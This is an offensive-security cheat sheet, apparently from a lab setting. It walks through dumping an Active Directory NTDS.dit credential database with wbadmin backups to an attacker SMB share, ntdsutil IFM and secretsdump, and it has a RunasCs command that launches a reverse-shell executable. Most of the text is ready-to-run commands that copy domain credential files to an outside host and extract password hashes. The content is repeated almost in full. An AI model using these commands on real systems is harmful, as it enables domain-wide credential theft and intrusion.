Dumping ntds

wbadmin

first you need to set up and smb server using that support NTFS

1-configure samba server with authentication

[global]
	map to guest = Bad User
	server role = standalone server
	usershare allow guests = yes
	idmap config * : backend = tdb
	interfaces = tun0
	smb ports = 445
[smb]
	comment = Samba
	path = /tmp/
	guest ok = yes
	read only = no
	browsable = yes
	force user = smbuser

2- Create a new user that matches the user in the force user parameter

adduser smbuser
smbpasswd -a smbuser

3- Test connection in windows machine

net use k: \\10.10.14.3\smb /user:smbuser smbpass

4- Backup NTDS

echo "Y" | wbadmin start backup -backuptarget:\\10.10.14.3\smb -include:c:\windows\ntds

5-Next, retrieve the version of the backup.

wbadmin get versions

6-We can now restore the NTDS.dit file, specifying the backup version.

echo "Y" | wbadmin start recovery -version:10/01/2020-14:23 -itemtype:file - items:c:\windows\ntds\ntds.dit -recoverytarget:C:\ -notrestoreacl

7- We need to export the system hive too, and transfer both this and the NTDS.dit to our local machine.

reg save HKLM\SYSTEM C:\system.hive

8- Copy files to our kali

cp ntds.dit \\10.10.14.3\smb\NTDS.dit 
cp system.hive \\10.10.14.3\smb\system.hive

9- Dump NTDS.dit

secretsdump.py -ntds NTDS.dit -system system.hive LOCAL -history

Powershell

NTDSUtil

powershell "ntdsutil.exe 'ac i ntds' 'ifm' 'create full c:\temp' q q"

#dumping ntds localey
secretsdump.py -ntds /root/ntds.dit -system /root/SYSTEM LOCAL

RunasCS

suppose we have a user which don't have access to machine over any protocols and we want to get a session as this user and without spawning a new terminal, In this case we can use RunasCS.

using RunasCs exe

RunasCs.exe backdoor Password123 "C:/Users/Public/reverse.exe" --force-profile --logon-type 8

Dumping ntds

wbadmin

first you need to set up and smb server using that support NTFS

1-configure samba server with authentication

[global]
	map to guest = Bad User
	server role = standalone server
	usershare allow guests = yes
	idmap config * : backend = tdb
	interfaces = tun0
	smb ports = 445
[smb]
	comment = Samba
	path = /tmp/
	guest ok = yes
	read only = no
	browsable = yes
	force user = smbuser

2- Create a new user that matches the user in the force user parameter

adduser smbuser
smbpasswd -a smbuser

3- Test connection in windows machine

net use k: \\10.10.14.3\smb /user:smbuser smbpass

4- Backup NTDS

echo "Y" | wbadmin start backup -backuptarget:\\10.10.14.3\smb -include:c:\windows\ntds

5-Next, retrieve the version of the backup.

wbadmin get versions

6-We can now restore the NTDS.dit file, specifying the backup version.

echo "Y" | wbadmin start recovery -version:10/01/2020-14:23 -itemtype:file - items:c:\windows\ntds\ntds.dit -recoverytarget:C:\ -notrestoreacl

7- We need to export the system hive too, and transfer both this and the NTDS.dit to our local machine.

reg save HKLM\SYSTEM C:\system.hive

8- Copy files to our kali

cp ntds.dit \\10.10.14.3\smb\NTDS.dit 
cp system.hive \\10.10.14.3\smb\system.hive

9- Dump NTDS.dit

secretsdump.py -ntds NTDS.dit -system system.hive LOCAL -history

Powershell

NTDSUtil

powershell "ntdsutil.exe 'ac i ntds' 'ifm' 'create full c:\temp' q q"

#dumping ntds localey
secretsdump.py -ntds /root/ntds.dit -system /root/SYSTEM LOCAL
